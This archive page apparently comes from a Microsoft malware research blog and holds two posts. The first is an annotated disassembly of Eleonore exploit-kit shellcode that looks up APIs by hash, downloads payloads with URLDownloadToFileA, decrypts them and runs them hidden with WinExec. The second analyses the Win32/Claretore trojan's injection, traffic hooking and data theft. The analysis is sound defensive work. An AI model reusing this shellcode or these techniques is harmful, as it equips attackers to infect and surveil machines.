Archive

Archive for the ‘kernel32’ Category

Some shellcode de-mystified

June 22nd, 2012 No comments

The shellcode described in this post was obtained from the Eleonore v1.2 exploit kit. High-level details about that kit are mentioned in my April 2012 blog post.

This post is a technical view of the actual shellcode and is intended to be instructive to the inquisitive reader. Since this code is relatively old, the main techniques (hashing API lookups, rol decryption, kernel32 address lookup) have been discussed before.

There are some other less-discussed bits of shellcode analysis, such as the anti-emulation code in the first segment below, that when viewed collectively with other shellcode analysis, may assist the reader in better understanding shellcode. So let’s get into it.

Start:
mov eax, fs:18h; // Get the Thread Information Block (TIB)
mov eax, [eax + 30h]; // Get the Process Environment Block (PEB)
mov eax, [eax + 54h]; // Get ReadOnlyStaticServer Data pointer
mov eax, [eax + 4]; // Get Client Server Runtime Subsystem (CSRS) Object Port Name structure
mov eax, [eax + 4]; // Get the Object Directory of the CSRS port (kernel32 sets this to “C:\Windows” for sessionID of 0)
mov eax, [eax + 4]; // Get the 3rd and 4th characters of the Object Directory unicode string
or eax, 200020h; // Normalize these two characters to lower case
cmp eax, 77007Ch; // This checks that the Object Directory is “C:\Windows” by checking the two characters ‘\’ and ‘W’.
// This ensures outer program this shellcode is running in, is a Win32 app connected to the windows
// subsystem process (CSRSS) with a system or console sessionID, else return.
jz DetectPlatform;
retn
// pretty old standard method of retrieving kernel32.dll, to access GetProcAddr and LoadLibrary
// thereby accessing any functionality needed by shellcode
DetectPlatform:
xor eax, eax;
mov eax, fs:[eax + 30h]; // Get the PEB
js Win9xPlatform; // Jump if signed (9x systems PEB mapped above 0x80000000, NT mapped at 0x7FFDF000 roughly)
NTPlatform:
mov eax, [eax + 0Ch]; // For NT, get PEB.Ldr (loaded module list struct)
mov esi, [eax + 1Ch]; // Get PEB_LDR_DATA.InInitializationOrderModuleList.Flink
lodsd; // Load from string from esi ptr to eax, loading second Flink entry
mov ebx, [eax + 8]; // Get base address of kernel32.dll (prior to Windows 7)
jmp StackSetup;
Win9xPlatform:
mov eax, [eax + 34h];
lea eax, [eax + 7Ch];
mov ebx, [eax + 3Ch]; // Get base addr of kernel32.dll
StackSetup:
push 4Eh;
pop edx;
shl edx, 1; // 0x4E becomes 0x9C after shift
sub esp, edx; // increase stack by 0x9C
mov ebp, esp; // Move stack frame for shellcode space
mov [ebp + 10h], ‘xe.n’;
mov [ebp + 14h], 1FFh; // Size of shellcode
mov [ebp], 0; // Iteration 0
jmp DownloadMalware;
DownloadMalware:
lea edi, [ebp + 1Ch]; // Load address from newly creates stack space
push edi; // lpBuffer
push edx; // nBufferLength (this = 0x9C, size of string to hold temp dir, c:\temp)
mov eax, 5B8ACA33h; // HASH of GetTempPathA
call FindFuncHash; // This routine as discussed in previous blog is an spatially efficient way to look up API by its hash value
xor al, al; // Zero out for scan function
mov esi, edi;
repne scasb; // Repeat while not equal, scans string for 0 (get length of temp dir path)
dec edi;
mov eax, [ebp + 10h]; // Store “xe.n” from above or later “xe.y”
stosd; // Put xe.n at the end of the string rom edi, C:\TEMP
cbw; // Convert byte to word, so ax now = “nn” or “yy” later
stosw; // Put “nn” to “n.ex” or later “yy” to y.exe to yield nnn.ex, yyy.ex
xor eax, eax;
mov eax, ‘da’;
push eax;
push ‘erhT’;
xor eax, 74691C24h; // 0x74697845 = “tixE” (Constructing ExitThread)
push eax; // lpProcName = “Exit”
push esp; // lpProcName = “Thread” (continued)
push ebx; // Base address of kernel32.dll
mov eax, 7C0DFCAAh; // HASH of GetProcAddress
call [ebp + 18h]; // This calls the FindFuncHash routine and then executes GetProcAddress with arguement of ExitThread routine
add esp, 0Ch; // Increase stack temporarily
push eax; // Save absolute address of ExitThread routine
mov al, ‘l’;
mov ah, al; // “ll”
cwde; // Convert word to double extended
push eax;
push ‘d.no’;
push ‘mlru’;
push esp; // lpFileName = “urlmon.dll”
mov eax, 0EC0E4E8h; // HASH of LoadLibraryA routine
call [ebp + 18h]; // Execute LoadLibraryA routine with urlmon.dll
add esp, 0Ch; // decrease stack
xchg eax, ebx; // ebx now holds handle to loaded URLmon module
push eax;
xor eax, eax;
push eax; // lpBinStatusCallBack = NULL
push eax; // dwReserved = 0
push esi; // szFileName = “C:\TEMP\(nnn.ex|yyy.ex)”
mov edx, [ebp + 18h];
add edx, [ebp + 14h]; // Add the 0x1ff shellcode size to the 0x67 offset for a relative addr of 0x266
push edx; // szURL = string at 0x266 (the actual URL is appended to shellcode when it is put into play, not included in analysis)
push eax; // pCaller = NULL
mov eax, 702F1A36h; // HASH of URLDownloadToFileA routine
call [ebp + 18h]; // Execute URLDownloadToFileA routine on a specific URL to download data and store into the (nnn.ex|yyy.ex) files
pop ebx;
cmp [ebp], 1; // 2nd iteration do we decrypt downloaded malware file
jnz ExecuteMalware;
DecryptedMalware:
push 0; // hTemplateFile = NULL
push 80h; // dwFlagsAndAttributes = FILE_ATTRIBUTE_NORMAL
push 3; // dwCreationDisposition = OPEN_EXISTING
push 0; // lpSecurityAttributes = NULL
push 3; // dwShareMode = READ | WRITE
push 0C0000000h; // dwDesiredAccess = GENERIC_ALL
push esi; // lpFileName = C:\TEMP\yyy.ex
mov eax, 7C0017A5h; // HASH of CreateFile routine
call [ebp + 18h]; // Execute the CreateFile routine with the above arguments
mov [ebp + 4], eax; // Handle to the file that downloaded malware
push 4; // flProtect = PAGE_READWRITE
push 1000h; // flAllocationType = MEM_COMMIT
push 80000h; // dwSize = 0x80000
push 0; // lpAddress = NULL
mov eax, 91AFCA54h; // HASH of VirtualAlloc routine
call [ebp + 18h]; // Execute VirtualAlloc routine with above arguments to create 0x80000 space for downloaded malware to be decrypted into
mov [ebp + 0Ch], eax; // Base address of the allocated region
push eax; // Save this address
push 0; // lpOverlapped = NULL
lea ecx, [ebp + 4];
push ecx; // lpNumberOfBytesRead = dword in shellcode stack space
push 80000h; // nNumberOfBytesToRead = 0x80000
push eax; // lpBuffer = base addr of virtually allocated region
push [ebp + 4]; // hFile = C:\TEMP\yyy.ex
mov eax, 10FA6516h; // HASH of ReadFile routine
call [ebp + 18h]; // Execute ReadFile routine and get contents for file and put into virutally allocated memory region
pop edi; // File handle of C:\TEMP\yyy.ex
mov edx, [edi];
add edi, 4;
mov ecx, [ebp + 8]; // Number of bytes read from the ReadFile call
sub ecx, 4;
call DecryptBytes; // Routine that decrypts these malware bytes in place (see previous blog post for this routine)
push 0; // dwMoveMethod = FILE_BEGIN
push 0; // lpDistanceToMoveHigh = NULL
push 0; // lpDistanceToMove = NULL
push [ebp + 4]; // File handle of C:\TEMP\yyy.ex
mov eax, 76DA08ACh; // HASH of SetFilePointer routine
call [ebp + 18h]; // Execute SetFilePointer routine on file to ensure pointer is at the begining of file
push 0; // lpOverlapped = NULL
lea ecx, [ebp + 8];
push ecx; // lpNumberOfBytesWritten = dword in shellcode stack space
push [ebp + 8]; // nNumberOfBytesToWrite = num bytes from ReadFile call
push [ebp + 0Ch]; // lpBuffer = pointer to the new decrypted bytes in the virtual allocated memory space
add [esp + 10h], 4;
push [ebp + 4]; // hFile = handle to C:\TEMP\yyy.ex
mov eax, 0E80A791Fh; // HASH of WriteFile routine
call [ebp + 18h]; // Execute WriteFile routine on above arguments so we write decrypted bytes back to file
push [ebp + 4]; // hFile = handle to C:\TEMP\yyy.ex
mov eax, 0FFD97FBh; // HASH of CloseHandle routine
call [ebp + 18h]; // Execute CloseHandle routine on C:\TEMP\yyy.ex
mov [ebp], 2;
ExecuteMalware:
push edi; // uCmdShow = SW_HIDE
push esi; // lpCmdLine = “C:\TEMP\(nnn.ex|yyy.ex)”
mov eax, 0E8AFE98h; // HASH of WinExec routine
call [ebp + 18h]; // Execute WinExec on file, so execute malware
jmp loc_FFF;
HanaHou:
cmp [ebp], 2; // This is the second iteration and we exit shellcode here
jz FINI;
mov [ebp], 1;
mov [ebp + 10h], ‘xe.y’; // next file name to use
mov [ebp + 14h], 172h;
mov edi, [ebp + 18h];
add edi, [ebp + 14h]; // Relative addr 0x1D9 (0x172 + 0x67)
mov ecx, 26h; // 0x26 bytes to decrypt
mov edx, [edi – 4]; // Start of encrypted buffer to decrypt
call DecryptBytes;
jmp DownloadMalware;
FINI:

Thanks for reading.

— Nik Livic, MMPC

Categories: API, Eleonore, kernel32, shellcode Tags:

MSRT April 2012: Win32/Claretore

April 10th, 2012 No comments

We included three threat families in the April edition of the Microsoft Malicious Software Removal Tool – Win32/Claretore, Win32/Bocinex and Win32/Gamarue. In this post, we discuss Win32/Claretore.

The earliest reported variant in this family can be traced back to November 2011. Claretore is a trojan that injects itself into running processes to intercept browser traffic and redirect the browser to an attacker-defined URL. It also sends information about the affected computer to a remote server.

The installation and preservation mechanism employed by Claretore is not new but it is aggressive. Claretore drops copy of itself to the user profile’s folder and the temp folder, and removes the original copy of the malware. The registry is modified to execute Claretore at every Windows start.

Registry data associated with launching Win32/Claretore at Windows start

Image 1 – Registry data associated with launching Win32/Claretore at Windows start

The aggressive part is that it injects itself as a DLL component to each running process that loads the kernel32 module. This method allows the malware to support being installed on Windows 2000 operating systems and helps in hiding the malware so that it is does not appear present when viewing running processes using Windows Task Manager.

Below, you can see Win32/Claretore injected into “iexplore.exe” as shown via a debugging utility:

View of process "iexplore.exe" with Win32/Claretore injection

Image 2 – View of process “iexplore.exe” with Win32/Claretore injection

The malware attempts to block its removal by manual cleaning or by a security product by creating two monitoring threads that persistently verify if its file component and registry has been modified by others. This mechanism is implemented by utilizing the following Windows APIs:

  • RegNotifyChageKeyVaule
  • ReadDirectoryChanges

Next, Claretore is ready to do its ‘dirty work’. It hooks the following three network APIs to intercept certain web traffic:

  • WSPCloseSocket
  • WSPSend
  • WSPRecv

The trojan is then able to intercept every website accessed that also has contains a reference to Google Analytics JavaScript, and replaces the legitimate code with code from an attacker-supplied URL. For example, a variant of Win32/Claretore was observed to replace references to the Google Analytics JavaScript “google-analytics.com/ga.js” with “<removed>in-f108.com/ga.js”, allowing attacker-specified code to execute.

Tracing through Win32/Claretore code

Tracing through Win32/Claretore code

Image 3 – Tracing through Win32/Claretore code

Win32/Claretore collects and sends the following details, encrypted using MD5, about the affected computer to an attacker-supplied URL:

  • Machine GUID
  • User logon account name
  • Computer name
  • Windows install date
  • Disk identifier

 

This threat is detected and removed by the Microsoft Windows Malicious Software Removal Tool and when using current security technologies and protection. Thank you for reading and stay tuned to the MMPC for the latest developments in the digital threat landscape.

–Tim Liu, MMPC